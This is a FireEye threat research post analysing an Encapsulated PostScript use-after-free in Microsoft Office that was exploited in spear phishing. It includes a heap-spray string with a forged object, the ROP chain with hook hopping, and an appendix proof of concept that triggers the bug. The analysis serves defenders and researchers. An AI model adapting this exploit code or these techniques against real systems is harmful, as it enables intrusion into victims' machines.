Threat Research

The EPS Awakens

Genwei Jiang, Dan Caselden, Ryann Winters
Dec 16, 2015
6 min read
|   Last updated: Apr 02, 2024
Threat Research

On September 8, FireEye published details about an attack exploiting zero day vulnerabilities in Microsoft Office (CVE-2015-2545) and Windows (CVE-2015-2546). The attack was particularly notable because it leveraged PostScript to drive memory corruption in a way that had never been seen before. The exploit used similar strategies as browser exploits in common languages such as JavaScript and Flash, but PostScript served as an overlooked attack vector that is powerful and convenient in Office.

Following the release of the patch for CVE-2015-2545, FireEye notified Microsoft of a way to bypass the patch. Microsoft not only fixed the bypass, but proactively hardened code throughout the Encapsulated PostScript (EPS) filter. The updates were quietly released on November 10 (Patch Tuesday).

At around 10:00AM in Japan on November 26 (around close of business the day before Thanksgiving in the U.S.), threat actors launched a spear phishing campaign. The emails contained document attachments that exploited a previously unknown EPS vulnerability. But there was a catch: the vulnerability was proactively patched in the Microsoft update released two weeks earlier.

The spearphishing emails to FireEye EX customers were blocked in the wild. FireEye appliances detect the exploit as Exploit.Dropper.docx.MVX and Malware.Binary.Docx.

In the first part of this blog series, we summarize recent threat group activity using this exploit and provide complete technical details of the vulnerability. Stay tuned for part two wherein we outline the operational details of the attack.

Activity Summary

In late November and early December of 2015, FireEye observed multiple spear phishing campaigns exploiting a previously unknown Microsoft Office EPS vulnerability (detailed below) and Windows local privilege escalation vulnerability CVE-2015-1701. Over the course of several days, known and suspected China-based advanced persistent threat (APT) groups sent phishing emails containing malicious Word attachments to Japanese and Taiwanese organizations in the financial services, high-tech, media and government sectors respectively.

These attachments exploited a silently patched user-mode Microsoft EPS vulnerability (similar to Microsoft EPS use-after-free vulnerability CVE-2015-2545) and subsequently used CVE-2015-1701 to obtain SYSTEM level access to compromised machines. Following successful exploitation of each vulnerability, the exploit shellcode deployed either the IRONHALO downloader or the ELMER backdoor. FireEye currently detects IRONHALO as Trojan.IRONHALO.Downloader and ELMER as Backdoor.APT.Suroot.

Vulnerability Details – Encapsulated PostScript dict copy Use-After-Free


In the form dict1 dict2 copy, the copy operator copies all of the elements from the first operand (dict1) into the second operand (dict2). The PostScript Language Reference Manual (PLRM), as cited in Figure 1, states that the copy operator does not affect elements remaining in the second operand. For example, if dict1 contained an element under key k1, and dict2 contained elements under keys k1 and k2, then the operation dict1 dict2 copy should overwrite the element under k1, but should not affect the element under k2.

However, Microsoft’s EPS deviates from this standard. In Microsoft’s implementation, the copy operator iteratively deletes all key-value entries from the dict2 internal hash table. Then, it deletes the hash table itself, and allocates a new one. Finally, it copies elements from dict2 into dict2. This deletion process is depicted in Figure 2.


Using the dict1 dict2 copy operation while enumerating dict2 with forall causes a use-after-free. During each iteration of the forall loop, dict2 dereferences a pointer (ptrNext) to push the next key-value pair onto the operator stack. When copy deletes the next key-value pair, ptrNext becomes stale. The next iteration of the forall loop will then push objects from the stale pointer onto the operator stack.

In an attack scenario, the attacker can allocate memory under the stale pointer. The attacker can then supply data that the forall enumerator reads as a key-value pair. In the appendix, we include a minimized PoC that shows how to allocate a string under the stale pointer and forge a key-value pair.

Full Read and Write Development

The attacker gains access to memory by forging a string. Specifically, the attacker places a forged key-value pair under the stale ptrNext, and the key-value pair points to a forged string. The attacker uses a hardcoded address (130e0020h) in the forged key-value pair, and sprays memory at the address with PostScript strings. Figure 3 shows the PostScript that creates the sprayed string object, and the layout of the string in memory.

/fakestr <28000e1358000e13bebafeca41414141414141414141414141414141030000004141414141414141414
14141414100000000ffffff7f> def

0:000> dd 130e0000
130e0000  00000000 00000000 00000000 00000000
130e0010  00000000 00000000 00000000 00000000
130e0020  130e0028 130e0058 cafebabe 41414141
130e0030  41414141 41414141 41414141 00000003
130e0040  41414141 41414141 41414141 130e0024
130e0050  00000000 7fffffff cafebabe 41414141
130e0060  41414141 41414141 41414141 41414141
130e0070  41414141 41414141 00000000 7fffffff

Figure 3: The attacker's sprayed PostScript string

Each PostScript string object allocates a buffer to store the actual contents of the string. The address and size of this buffer is stored within the string object. In the attacker’s forged string object, the address of the buffer is 0, and the size of the buffer is 0x7fffffff.

Return-Oriented Programming

Once the attacker has forged a string with size 0x7fffffff, they can use the string to freely read and write process memory. The attacker uses this capability to search for ROP gadgets and build a ROP chain.

0:000> dd /c 1 130e1032
130e1032  60e2b53a      // retn_gadget
130e1036  60e2b53a      // retn_gadget
130e103a  00000000
130e103e  00000000
130e1042  60e69f80      // stack_pivot_gadget
130e1046  60e398cd      // set_eax_gadget, eax = 0xd7
130e104a  00000000
130e104e  00000000
130e1052  00000000
130e1056  777e5695      // ntcreateevent_gadget+0x5, NtProtectVirtualMemory
130e105a  130e3000      // shellcode starts here
130e105e  ffffffff
30e1062  130e0200
130e1066  130e0204
130e106a  00000040
130e106e  130e0208

0:000> u 60e2b53a
60e2b53a c20c00          ret     0Ch
0:000> u 60e69f80
60e69f80 94              xchg    eax,esp
60e69f81 c3              ret
0:000> u 60e398cd
EPSIMP32+0x198cd:        // ecx = 130e1000, eax = 0xd760e398cd 8b4114          mov     eax,dword ptr [ecx+14h]
60e398d0 c3              ret
0:000> u 777e5695
777e5695 ba0003fe7f      mov     edx,offset SharedUserData!SystemCallStub
777e569a ff12            call    dword ptr [edx]
777e569c c21400          ret     14h

Figure 4: Attacker's ROP chain

The ROP chain, shown in Figure 4, uses a few known tricks to bypass security products. First, the ROP chain skips 5 bytes past the beginning of ntdll!NtCreateEvent. This would bypass any hooks placed on the beginning of the routine (and is known as “hook hopping”), but the real purpose of this offset is to pass over an instruction that sets eax. This allows the attacker to specify their own parameter in eax, and call an arbitrary system call instead of NtCreateEvent. The attacker chooses the system call NtProtectVirtualMemory, which marks the attacker’s shellcode as executable. Since the system call numbers differ between environments, the attacker reads the correct value for eax from the ntdll!NtProtectVirtualMemory function (which is the user-mode function that is normally used to call the NtProtectVirtualMemory syscall).

To transfer execution to the ROP chain, the attacker forges a file type object. Within the forged file type object, the attacker modifies the bytesavailable function pointer to point to a pivot (Figure 5). Then, when the attacker uses the forged object in PostScript, it calls the pivot and transfers execution to the ROP chain. When the ROP chain is complete, it returns into the attacker’s shellcode.

bytesavailable operator with the forged file type object
Figure 5: bytesavailable operator with the forged file type object


Once the ROP chain finishes and returns to the attacker’s shellcode, the shellcode loads a DLL that exploits CVE-2015-1701 to elevate the process to SYSTEM. The CVE-2015-1701 exploit is based on published source code from GitHub. Once the shellcode process has SYSTEM privileges, it will execute further payloads to be discussed in part two of this series.


Thank you to Wang Yu, Dan Regalado and Junfeng Yang for their contributions to this blog.

Simplified PoC

%% Create dict2 and fill it with
%%  several key-value pairs
/dict2 5 dict def
dict2 begin
/k1 1000 array def
/k2 1000 array def

dict2 end

%% Create dict1 and fill it with
%%  one key-value pair under k1
/dict1 3 dict def
dict1 begin
/k1 1000 array def
dict1 end

%% Begin forall enumeration on dict2
dict2 {
    % Destroy dict2’s internal hash-table,
    %  freeing all key-value pairs
    dict1 dict2 copy
    % Create a new string to overwrite the
    % freed key-value pair k2.
    % The string contains a forged key-value pair
    44 string
    0 <00000000ff0300000005000000000000000000002000e01303000000000000000000000044444444> putinterval
    % Next iteration of the loop uses stale.
    % ptrNext, which points into the above string,
    %  and reads a forged key-pair
} forall